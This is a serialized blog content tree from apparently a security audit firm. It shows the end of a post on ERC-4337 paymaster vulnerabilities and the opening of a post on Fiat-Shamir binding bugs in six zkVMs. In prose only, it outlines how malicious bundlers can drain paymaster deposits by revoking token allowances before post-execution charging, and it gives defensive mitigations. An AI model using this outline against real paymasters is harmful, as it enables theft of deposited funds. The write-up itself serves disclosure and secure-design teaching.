costInToken);\n",{"type":24,"tag":83,"props":107010,"children":107011},{"class":85,"line":23299},[107012],{"type":24,"tag":83,"props":107013,"children":107014},{"style":107},[107015],{"type":29,"value":3092},{"type":24,"tag":83,"props":107017,"children":107018},{"class":85,"line":23308},[107019],{"type":24,"tag":83,"props":107020,"children":107021},{"emptyLinePlaceholder":16},[107022],{"type":29,"value":3422},{"type":24,"tag":83,"props":107024,"children":107025},{"class":85,"line":23350},[107026,107031,107035],{"type":24,"tag":83,"props":107027,"children":107028},{"style":117},[107029],{"type":29,"value":107030},"        emit",{"type":24,"tag":83,"props":107032,"children":107033},{"style":101},[107034],{"type":29,"value":103905},{"type":24,"tag":83,"props":107036,"children":107037},{"style":107},[107038],{"type":29,"value":107039},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":24,"tag":83,"props":107041,"children":107042},{"class":85,"line":23383},[107043],{"type":24,"tag":83,"props":107044,"children":107045},{"style":107},[107046],{"type":29,"value":446},{"type":24,"tag":25,"props":107048,"children":107049},{},[107050,107052,107057,107059,107065,107067,107073,107075,107080,107082,107087],{"type":29,"value":107051},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":24,"tag":32,"props":107053,"children":107055},{"className":107054},[],[107056],{"type":29,"value":103171},{"type":29,"value":107058},". Note that ",{"type":24,"tag":32,"props":107060,"children":107062},{"className":107061},[],[107063],{"type":29,"value":107064},"preFundCharged",{"type":29,"value":107066}," can be zero, as users can opt out of any ",{"type":24,"tag":32,"props":107068,"children":107070},{"className":107069},[],[107071],{"type":29,"value":107072},"preFund",{"type":29,"value":107074}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":24,"tag":32,"props":107076,"children":107078},{"className":107077},[],[107079],{"type":29,"value":103972},{"type":29,"value":107081}," call inside ",{"type":24,"tag":32,"props":107083,"children":107085},{"className":107084},[],[107086],{"type":29,"value":105056},{"type":29,"value":107088}," will revert and the paymaster won't be able to collect payment from the user.",{"type":24,"tag":25,"props":107090,"children":107091},{},[107092,107094,107099,107101,107107,107109,107115],{"type":29,"value":107093},"However, even when ",{"type":24,"tag":32,"props":107095,"children":107097},{"className":107096},[],[107098],{"type":29,"value":103972},{"type":29,"value":107100}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":24,"tag":32,"props":107102,"children":107104},{"className":107103},[],[107105],{"type":29,"value":107106},"requiredPrefund",{"type":29,"value":107108}," was taken from the paymaster's ",{"type":24,"tag":2033,"props":107110,"children":107113},{"href":107111,"rel":107112},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[2037],[107114],{"type":29,"value":61678},{"type":29,"value":161},{"type":24,"tag":25,"props":107117,"children":107118},{},[107119,107121,107126],{"type":29,"value":107120},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":24,"tag":32,"props":107122,"children":107124},{"className":107123},[],[107125],{"type":29,"value":103972},{"type":29,"value":107127}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":24,"tag":63,"props":107129,"children":107130},{},[107131,107149,107168,107179,107184],{"type":24,"tag":67,"props":107132,"children":107133},{},[107134,107136,107141,107143],{"type":29,"value":107135},"The bundler creates a ",{"type":24,"tag":32,"props":107137,"children":107139},{"className":107138},[],[107140],{"type":29,"value":101715},{"type":29,"value":107142}," with an intentionally high ",{"type":24,"tag":32,"props":107144,"children":107146},{"className":107145},[],[107147],{"type":29,"value":107148},"gasPrice",{"type":24,"tag":67,"props":107150,"children":107151},{},[107152,107154,107159,107161,107166],{"type":29,"value":107153},"The bundler ensures the ",{"type":24,"tag":32,"props":107155,"children":107157},{"className":107156},[],[107158],{"type":29,"value":103972},{"type":29,"value":107160}," call will fail by revoking the paymaster's token allowance before ",{"type":24,"tag":32,"props":107162,"children":107164},{"className":107163},[],[107165],{"type":29,"value":103972},{"type":29,"value":107167}," executes",{"type":24,"tag":67,"props":107169,"children":107170},{},[107171,107172,107177],{"type":29,"value":63070},{"type":24,"tag":32,"props":107173,"children":107175},{"className":107174},[],[107176],{"type":29,"value":103972},{"type":29,"value":107178}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":24,"tag":67,"props":107180,"children":107181},{},[107182],{"type":29,"value":107183},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":24,"tag":67,"props":107185,"children":107186},{},[107187],{"type":29,"value":107188},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":24,"tag":25,"props":107190,"children":107191},{},[107192,107194,107199,107201,107206],{"type":29,"value":107193},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":24,"tag":32,"props":107195,"children":107197},{"className":107196},[],[107198],{"type":29,"value":101744},{"type":29,"value":107200}," designed to fail during ",{"type":24,"tag":32,"props":107202,"children":107204},{"className":107203},[],[107205],{"type":29,"value":103972},{"type":29,"value":107207}," while maximizing the gas costs they can charge to the paymaster.",{"type":24,"tag":25,"props":107209,"children":107210},{},[107211,107213,107218,107220,107225,107227,107233,107235,107240],{"type":29,"value":107212},"Some paymasters try to protect against this by simulating the ",{"type":24,"tag":32,"props":107214,"children":107216},{"className":107215},[],[107217],{"type":29,"value":101715},{"type":29,"value":107219}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":24,"tag":32,"props":107221,"children":107223},{"className":107222},[],[107224],{"type":29,"value":101715},{"type":29,"value":107226}," is submitted via ",{"type":24,"tag":32,"props":107228,"children":107230},{"className":107229},[],[107231],{"type":29,"value":107232},"handleOps",{"type":29,"value":107234},". This means the ",{"type":24,"tag":32,"props":107236,"children":107238},{"className":107237},[],[107239],{"type":29,"value":103972},{"type":29,"value":107241}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":24,"tag":25,"props":107243,"children":107244},{},[107245],{"type":29,"value":107246},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":24,"tag":25,"props":107248,"children":107249},{},[107250],{"type":29,"value":107251},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":24,"tag":25,"props":107253,"children":107254},{},[107255],{"type":29,"value":107256},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":24,"tag":35107,"props":107258,"children":107259},{"id":28683},[107260],{"type":29,"value":18686},{"type":24,"tag":25,"props":107262,"children":107263},{},[107264],{"type":29,"value":107265},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":24,"tag":63,"props":107267,"children":107268},{},[107269,107274,107279,107284,107289],{"type":24,"tag":67,"props":107270,"children":107271},{},[107272],{"type":29,"value":107273},"Always collect full payment during validation, not after execution",{"type":24,"tag":67,"props":107275,"children":107276},{},[107277],{"type":29,"value":107278},"Be conservative with gas estimations and include safety margins",{"type":24,"tag":67,"props":107280,"children":107281},{},[107282],{"type":29,"value":107283},"Carefully validate all user inputs and token transfers",{"type":24,"tag":67,"props":107285,"children":107286},{},[107287],{"type":29,"value":107288},"Test extensively, including simulation of malicious behavior",{"type":24,"tag":67,"props":107290,"children":107291},{},[107292,107294,107299],{"type":29,"value":107293},"Always review changes in new ",{"type":24,"tag":32,"props":107295,"children":107297},{"className":107296},[],[107298],{"type":29,"value":101796},{"type":29,"value":107300}," versions, as they may impact your paymaster's design and security assumptions",{"type":24,"tag":25,"props":107302,"children":107303},{},[107304,107306,107311,107313,107318,107320,107325],{"type":29,"value":107305},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":24,"tag":32,"props":107307,"children":107309},{"className":107308},[],[107310],{"type":29,"value":101796},{"type":29,"value":107312}," contract's behavior could potentially break existing ",{"type":24,"tag":32,"props":107314,"children":107316},{"className":107315},[],[107317],{"type":29,"value":101868},{"type":29,"value":107319}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":24,"tag":32,"props":107321,"children":107323},{"className":107322},[],[107324],{"type":29,"value":101796},{"type":29,"value":107326}," versions.",{"type":24,"tag":25,"props":107328,"children":107329},{},[107330],{"type":29,"value":107331},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":24,"tag":25,"props":107333,"children":107334},{},[107335],{"type":29,"value":107336},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":24,"tag":2584,"props":107338,"children":107339},{},[107340],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":107342},[107343,107344,107345,107352,107357,107358],{"id":101630,"depth":113,"text":101633},{"id":101646,"depth":113,"text":101649},{"id":101685,"depth":113,"text":101688,"children":107346},[107347,107348,107349,107350,107351],{"id":101708,"depth":128,"text":101715},{"id":101749,"depth":128,"text":101752},{"id":101775,"depth":128,"text":101778},{"id":14466,"depth":128,"text":101796},{"id":101868,"depth":128,"text":101879},{"id":101931,"depth":113,"text":107353,"children":107354},"Understanding the EntryPoint's Flow",[107355,107356],{"id":101987,"depth":128,"text":101990},{"id":102172,"depth":128,"text":102175},{"id":102415,"depth":113,"text":102421},{"id":104015,"depth":113,"text":104021,"children":107359},[107360,107361],{"id":104075,"depth":128,"text":104078},{"id":104135,"depth":128,"text":104138},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":107366,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":107367,"description":107368,"date":107369,"author":107370,"image":107373,"isFeatured":16,"onBlogPage":16,"tags":107375,"body":107377,"_type":2606,"_id":123182,"_source":2608,"_file":123183,"_stem":123184,"_extension":2611},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[107371,107372],"himanshu","valter",{"src":107374,"width":14,"height":15},"/posts/zkvms-unfaithful-claims/title.png",[107376],"zkVM",{"type":21,"children":107378,"toc":123146},[107379,107384,107426,107439,107442,107448,107453,107581,107584,107590,107596,107601,107633,107781,107786,107909,107920,107931,107954,107965,107970,108003,108011,108016,108019,108025,108030,108036,108041,108046,108054,108072,108213,108218,108224,108317,109051,109119,109130,109138,109612,109618,110057,110397,110550,110555,111443,111599,111605,111697,111702,112287,112737,112813,112819,112824,112893,112903,112919,112929,112990,113409,113441,113451,113626,113631,113641,114241,114429,114447,114450,114456,114461,114469,114501,114863,114868,114953,114956,114962,114970,114975,114978,114984,114989,114997,115005,115013,115021,115054,115062,115070,115161,115412,115739,115747,115777,115947,116273,116278,116283,116300,116303,116308,116313,116325,116337,116928,116940,116952,116959,116967,116979,116987,117002,117007,117287,117306,117401,117420,117436,117439,117445,117450,117455,117462,117470,117477,117485,117498,117516,117976,118078,118083,118088,118104,118107,118113,118118,118130,118141,118146,118536,118543,118551,118576,118596,118852,118863,118882,119266,119612,119842,120001,120161,120729,120734,120760,120763,120769,120774,120781,120789,120802,120874,120885,120893,120903,120911,120922,121196,121285,121314,121317,121322,121456,121468,121475,121480,121633,121659,121666,121674,121679,121745,121750,122140,122227,122243,122246,122252,122257,122263,122363,122422,122427,122433,122438,122446,122451,122457,122462,122467,122473,122478,122481,122487,122493,122498,122503,122508,122513,122518,122521,122527,122690,122695,122698,122703,122714,123031,123036,123060,123065,123083,123088,123091,123097,123102,123107,123117,123122,123132,123142],{"type":24,"tag":25,"props":107380,"children":107381},{},[107382],{"type":29,"value":107383},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":24,"tag":25,"props":107385,"children":107386},{},[107387,107389,107394,107395,107400,107401,107406,107407,107412,107413,107418,107419,107424],{"type":29,"value":107388},"We found six systems where this faithfulness breaks. Across ",{"type":24,"tag":2040,"props":107390,"children":107391},{},[107392],{"type":29,"value":107393},"Jolt",{"type":29,"value":568},{"type":24,"tag":2040,"props":107396,"children":107397},{},[107398],{"type":29,"value":107399},"Nexus",{"type":29,"value":568},{"type":24,"tag":2040,"props":107402,"children":107403},{},[107404],{"type":29,"value":107405},"Cairo-M",{"type":29,"value":568},{"type":24,"tag":2040,"props":107408,"children":107409},{},[107410],{"type":29,"value":107411},"Ceno",{"type":29,"value":568},{"type":24,"tag":2040,"props":107414,"children":107415},{},[107416],{"type":29,"value":107417},"Expander",{"type":29,"value":6234},{"type":24,"tag":2040,"props":107420,"children":107421},{},[107422],{"type":29,"value":107423},"Binius64",{"type":29,"value":107425},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":24,"tag":25,"props":107427,"children":107428},{},[107429,107431,107437],{"type":29,"value":107430},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":24,"tag":2033,"props":107432,"children":107434},{"href":107433},"#challenges",[107435],{"type":29,"value":107436},"Challenges",{"type":29,"value":107438}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":24,"tag":18531,"props":107440,"children":107441},{},[],{"type":24,"tag":51,"props":107443,"children":107445},{"id":107444},"jargon-cheat-sheet",[107446],{"type":29,"value":107447},"Jargon Cheat Sheet",{"type":24,"tag":25,"props":107449,"children":107450},{},[107451],{"type":29,"value":107452},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":24,"tag":16422,"props":107454,"children":107455},{},[107456,107466,107476,107486,107496,107506,107516,107526,107536,107546,107556,107566],{"type":24,"tag":67,"props":107457,"children":107458},{},[107459,107464],{"type":24,"tag":2040,"props":107460,"children":107461},{},[107462],{"type":29,"value":107463},"Fiat-Shamir",{"type":29,"value":107465},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":24,"tag":67,"props":107467,"children":107468},{},[107469,107474],{"type":24,"tag":2040,"props":107470,"children":107471},{},[107472],{"type":29,"value":107473},"Transcript",{"type":29,"value":107475},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":24,"tag":67,"props":107477,"children":107478},{},[107479,107484],{"type":24,"tag":2040,"props":107480,"children":107481},{},[107482],{"type":29,"value":107483},"Polynomial Commitment",{"type":29,"value":107485},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":24,"tag":67,"props":107487,"children":107488},{},[107489,107494],{"type":24,"tag":2040,"props":107490,"children":107491},{},[107492],{"type":29,"value":107493},"Sumcheck",{"type":29,"value":107495},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":24,"tag":67,"props":107497,"children":107498},{},[107499,107504],{"type":24,"tag":2040,"props":107500,"children":107501},{},[107502],{"type":29,"value":107503},"MLE (Multilinear Extension)",{"type":29,"value":107505},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":24,"tag":67,"props":107507,"children":107508},{},[107509,107514],{"type":24,"tag":2040,"props":107510,"children":107511},{},[107512],{"type":29,"value":107513},"Lookup / LogUp",{"type":29,"value":107515},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":24,"tag":67,"props":107517,"children":107518},{},[107519,107524],{"type":24,"tag":2040,"props":107520,"children":107521},{},[107522],{"type":29,"value":107523},"AIR",{"type":29,"value":107525},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":24,"tag":67,"props":107527,"children":107528},{},[107529,107534],{"type":24,"tag":2040,"props":107530,"children":107531},{},[107532],{"type":29,"value":107533},"STARK",{"type":29,"value":107535},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":24,"tag":67,"props":107537,"children":107538},{},[107539,107544],{"type":24,"tag":2040,"props":107540,"children":107541},{},[107542],{"type":29,"value":107543},"FRI",{"type":29,"value":107545},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":24,"tag":67,"props":107547,"children":107548},{},[107549,107554],{"type":24,"tag":2040,"props":107550,"children":107551},{},[107552],{"type":29,"value":107553},"OODS",{"type":29,"value":107555},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":24,"tag":67,"props":107557,"children":107558},{},[107559,107564],{"type":24,"tag":2040,"props":107560,"children":107561},{},[107562],{"type":29,"value":107563},"GKR",{"type":29,"value":107565},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":24,"tag":67,"props":107567,"children":107568},{},[107569,107574,107576],{"type":24,"tag":2040,"props":107570,"children":107571},{},[107572],{"type":29,"value":107573},"claimed_sum / opening_claim",{"type":29,"value":107575},": Prover-supplied values that feed into verification equations. ",{"type":24,"tag":2040,"props":107577,"children":107578},{},[107579],{"type":29,"value":107580},"These are the usual suspects for binding bugs.",{"type":24,"tag":18531,"props":107582,"children":107583},{},[],{"type":24,"tag":51,"props":107585,"children":107587},{"id":107586},"what-are-we-even-breaking",[107588],{"type":29,"value":107589},"What Are We Even Breaking?",{"type":24,"tag":1818,"props":107591,"children":107593},{"id":107592},"what-is-a-zkvm",[107594],{"type":29,"value":107595},"What is a zkVM?",{"type":24,"tag":25,"props":107597,"children":107598},{},[107599],{"type":29,"value":107600},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":24,"tag":25,"props":107602,"children":107603},{},[107604,107606,107631],{"type":29,"value":107605},"Formally, the verifier is convinced that there exists a valid trace ",{"type":24,"tag":32,"props":107607,"children":107609},{"className":107608},[3726,3727],[107610],{"type":24,"tag":83,"props":107611,"children":107613},{"className":107612},[3732],[107614],{"type":24,"tag":83,"props":107615,"children":107617},{"className":107616,"ariaHidden":1237},[3737],[107618],{"type":24,"tag":83,"props":107619,"children":107621},{"className":107620},[3742],[107622,107626],{"type":24,"tag":83,"props":107623,"children":107625},{"className":107624,"style":21323},[3747],[],{"type":24,"tag":83,"props":107627,"children":107629},{"className":107628,"style":21329},[3753,21328],[107630],{"type":29,"value":5733},{"type":29,"value":107632}," such that:",{"type":24,"tag":25,"props":107634,"children":107635},{},[107636],{"type":24,"tag":32,"props":107637,"children":107639},{"className":107638},[3726,3727],[107640],{"type":24,"tag":83,"props":107641,"children":107643},{"className":107642},[3732],[107644],{"type":24,"tag":83,"props":107645,"children":107647},{"className":107646,"ariaHidden":1237},[3737],[107648,107692,107767],{"type":24,"tag":83,"props":107649,"children":107651},{"className":107650},[3742],[107652,107656,107662,107666,107671,107675,107679,107684,107688],{"type":24,"tag":83,"props":107653,"children":107655},{"className":107654,"style":92675},[3747],[],{"type":24,"tag":83,"props":107657,"children":107659},{"className":107658},[3753],[107660],{"type":29,"value":107661},"∃",{"type":24,"tag":83,"props":107663,"children":107665},{"className":107664,"style":3931},[3833],[],{"type":24,"tag":83,"props":107667,"children":107669},{"className":107668,"style":21329},[3753,21328],[107670],{"type":29,"value":5733},{"type":24,"tag":83,"props":107672,"children":107674},{"className":107673,"style":3931},[3833],[],{"type":24,"tag":83,"props":107676,"children":107678},{"className":107677,"style":3931},[3833],[],{"type":24,"tag":83,"props":107680,"children":107682},{"className":107681},[3936],[107683],{"type":29,"value":195},{"type":24,"tag":83,"props":107685,"children":107687},{"className":107686,"style":3931},[3833],[],{"type":24,"tag":83,"props":107689,"children":107691},{"className":107690,"style":3931},[3833],[],{"type":24,"tag":83,"props":107693,"children":107695},{"className":107694},[3742],[107696,107700,107711,107716,107721,107726,107730,107735,107740,107744,107749,107754,107758,107763],{"type":24,"tag":83,"props":107697,"children":107699},{"className":107698,"style":3854},[3747],[],{"type":24,"tag":83,"props":107701,"children":107703},{"className":107702},[3753],[107704],{"type":24,"tag":83,"props":107705,"children":107708},{"className":107706},[3753,107707],"mathsf",[107709],{"type":29,"value":107710},"VM",{"type":24,"tag":83,"props":107712,"children":107714},{"className":107713},[21457],[107715],{"type":29,"value":558},{"type":24,"tag":83,"props":107717,"children":107719},{"className":107718,"style":21329},[3753,21328],[107720],{"type":29,"value":21332},{"type":24,"tag":83,"props":107722,"children":107724},{"className":107723},[3865],[107725],{"type":29,"value":3868},{"type":24,"tag":83,"props":107727,"children":107729},{"className":107728,"style":3872},[3833],[],{"type":24,"tag":83,"props":107731,"children":107733},{"className":107732,"style":94780},[3753,21328],[107734],{"type":29,"value":5879},{"type":24,"tag":83,"props":107736,"children":107738},{"className":107737},[3865],[107739],{"type":29,"value":3868},{"type":24,"tag":83,"props":107741,"children":107743},{"className":107742,"style":3872},[3833],[],{"type":24,"tag":83,"props":107745,"children":107747},{"className":107746,"style":21329},[3753,21328],[107748],{"type":29,"value":5733},{"type":24,"tag":83,"props":107750,"children":107752},{"className":107751},[21479],[107753],{"type":29,"value":2872},{"type":24,"tag":83,"props":107755,"children":107757},{"className":107756,"style":3931},[3833],[],{"type":24,"tag":83,"props":107759,"children":107761},{"className":107760},[3936],[107762],{"type":29,"value":22074},{"type":24,"tag":83,"props":107764,"children":107766},{"className":107765,"style":3931},[3833],[],{"type":24,"tag":83,"props":107768,"children":107770},{"className":107769},[3742],[107771,107775],{"type":24,"tag":83,"props":107772,"children":107774},{"className":107773,"style":21323},[3747],[],{"type":24,"tag":83,"props":107776,"children":107779},{"className":107777,"style":107778},[3753,21328],"margin-right:0.22222em;",[107780],{"type":29,"value":5909},{"type":24,"tag":25,"props":107782,"children":107783},{},[107784],{"type":29,"value":107785},"where:",{"type":24,"tag":16422,"props":107787,"children":107788},{},[107789,107819,107849,107879],{"type":24,"tag":67,"props":107790,"children":107791},{},[107792,107817],{"type":24,"tag":32,"props":107793,"children":107795},{"className":107794},[3726,3727],[107796],{"type":24,"tag":83,"props":107797,"children":107799},{"className":107798},[3732],[107800],{"type":24,"tag":83,"props":107801,"children":107803},{"className":107802,"ariaHidden":1237},[3737],[107804],{"type":24,"tag":83,"props":107805,"children":107807},{"className":107806},[3742],[107808,107812],{"type":24,"tag":83,"props":107809,"children":107811},{"className":107810,"style":21323},[3747],[],{"type":24,"tag":83,"props":107813,"children":107815},{"className":107814,"style":21329},[3753,21328],[107816],{"type":29,"value":21332},{"type":29,"value":107818}," = program/circuit description (public)",{"type":24,"tag":67,"props":107820,"children":107821},{},[107822,107847],{"type":24,"tag":32,"props":107823,"children":107825},{"className":107824},[3726,3727],[107826],{"type":24,"tag":83,"props":107827,"children":107829},{"className":107828},[3732],[107830],{"type":24,"tag":83,"props":107831,"children":107833},{"className":107832,"ariaHidden":1237},[3737],[107834],{"type":24,"tag":83,"props":107835,"children":107837},{"className":107836},[3742],[107838,107842],{"type":24,"tag":83,"props":107839,"children":107841},{"className":107840,"style":21323},[3747],[],{"type":24,"tag":83,"props":107843,"children":107845},{"className":107844,"style":94780},[3753,21328],[107846],{"type":29,"value":5879},{"type":29,"value":107848}," = public input",{"type":24,"tag":67,"props":107850,"children":107851},{},[107852,107877],{"type":24,"tag":32,"props":107853,"children":107855},{"className":107854},[3726,3727],[107856],{"type":24,"tag":83,"props":107857,"children":107859},{"className":107858},[3732],[107860],{"type":24,"tag":83,"props":107861,"children":107863},{"className":107862,"ariaHidden":1237},[3737],[107864],{"type":24,"tag":83,"props":107865,"children":107867},{"className":107866},[3742],[107868,107872],{"type":24,"tag":83,"props":107869,"children":107871},{"className":107870,"style":21323},[3747],[],{"type":24,"tag":83,"props":107873,"children":107875},{"className":107874,"style":107778},[3753,21328],[107876],{"type":29,"value":5909},{"type":29,"value":107878}," = claimed public output",{"type":24,"tag":67,"props":107880,"children":107881},{},[107882,107907],{"type":24,"tag":32,"props":107883,"children":107885},{"className":107884},[3726,3727],[107886],{"type":24,"tag":83,"props":107887,"children":107889},{"className":107888},[3732],[107890],{"type":24,"tag":83,"props":107891,"children":107893},{"className":107892,"ariaHidden":1237},[3737],[107894],{"type":24,"tag":83,"props":107895,"children":107897},{"className":107896},[3742],[107898,107902],{"type":24,"tag":83,"props":107899,"children":107901},{"className":107900,"style":21323},[3747],[],{"type":24,"tag":83,"props":107903,"children":107905},{"className":107904,"style":21329},[3753,21328],[107906],{"type":29,"value":5733},{"type":29,"value":107908}," = private witness/trace (registers, memory history, intermediate values)",{"type":24,"tag":25,"props":107910,"children":107911},{},[107912,107914,107918],{"type":29,"value":107913},"The verifier does ",{"type":24,"tag":2040,"props":107915,"children":107916},{},[107917],{"type":29,"value":18226},{"type":29,"value":107919}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":24,"tag":25,"props":107921,"children":107922},{},[107923,107925,107930],{"type":29,"value":107924},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":24,"tag":2040,"props":107926,"children":107927},{},[107928],{"type":29,"value":107929},"soundness",{"type":29,"value":195},{"type":24,"tag":16422,"props":107932,"children":107933},{},[107934,107944],{"type":24,"tag":67,"props":107935,"children":107936},{},[107937,107942],{"type":24,"tag":2040,"props":107938,"children":107939},{},[107940],{"type":29,"value":107941},"Completeness",{"type":29,"value":107943},": honest execution verifies.",{"type":24,"tag":67,"props":107945,"children":107946},{},[107947,107952],{"type":24,"tag":2040,"props":107948,"children":107949},{},[107950],{"type":29,"value":107951},"Soundness",{"type":29,"value":107953},": false execution should not verify.",{"type":24,"tag":25,"props":107955,"children":107956},{},[107957,107959,107963],{"type":29,"value":107958},"We are breaking ",{"type":24,"tag":2040,"props":107960,"children":107961},{},[107962],{"type":29,"value":107929},{"type":29,"value":107964}," in all six systems.",{"type":24,"tag":25,"props":107966,"children":107967},{},[107968],{"type":29,"value":107969},"In all six codebases, verification follows this abstract flow:",{"type":24,"tag":63,"props":107971,"children":107972},{},[107973,107978,107983,107988,107993,107998],{"type":24,"tag":67,"props":107974,"children":107975},{},[107976],{"type":29,"value":107977},"Fix public statement data.",{"type":24,"tag":67,"props":107979,"children":107980},{},[107981],{"type":29,"value":107982},"Parse proof payload (commitments, reduction messages, openings).",{"type":24,"tag":67,"props":107984,"children":107985},{},[107986],{"type":29,"value":107987},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":24,"tag":67,"props":107989,"children":107990},{},[107991],{"type":29,"value":107992},"Check constraint equations at sampled points.",{"type":24,"tag":67,"props":107994,"children":107995},{},[107996],{"type":29,"value":107997},"Check PCS/opening consistency.",{"type":24,"tag":67,"props":107999,"children":108000},{},[108001],{"type":29,"value":108002},"Accept only if all checks are jointly consistent.",{"type":24,"tag":25,"props":108004,"children":108005},{},[108006],{"type":24,"tag":2510,"props":108007,"children":108010},{"alt":108008,"src":108009},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":24,"tag":25,"props":108012,"children":108013},{},[108014],{"type":29,"value":108015},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":24,"tag":18531,"props":108017,"children":108018},{},[],{"type":24,"tag":51,"props":108020,"children":108022},{"id":108021},"the-building-blocks",[108023],{"type":29,"value":108024},"The Building Blocks",{"type":24,"tag":25,"props":108026,"children":108027},{},[108028],{"type":29,"value":108029},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":24,"tag":1818,"props":108031,"children":108033},{"id":108032},"the-fiat-shamir-transform",[108034],{"type":29,"value":108035},"The Fiat-Shamir Transform",{"type":24,"tag":25,"props":108037,"children":108038},{},[108039],{"type":29,"value":108040},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":24,"tag":25,"props":108042,"children":108043},{},[108044],{"type":29,"value":108045},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":24,"tag":25,"props":108047,"children":108048},{},[108049],{"type":24,"tag":2510,"props":108050,"children":108053},{"alt":108051,"src":108052},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":24,"tag":25,"props":108055,"children":108056},{},[108057,108059,108063,108065,108070],{"type":29,"value":108058},"The hash (transcript) ",{"type":24,"tag":2040,"props":108060,"children":108061},{},[108062],{"type":29,"value":6266},{"type":29,"value":108064}," include everything that affects verification 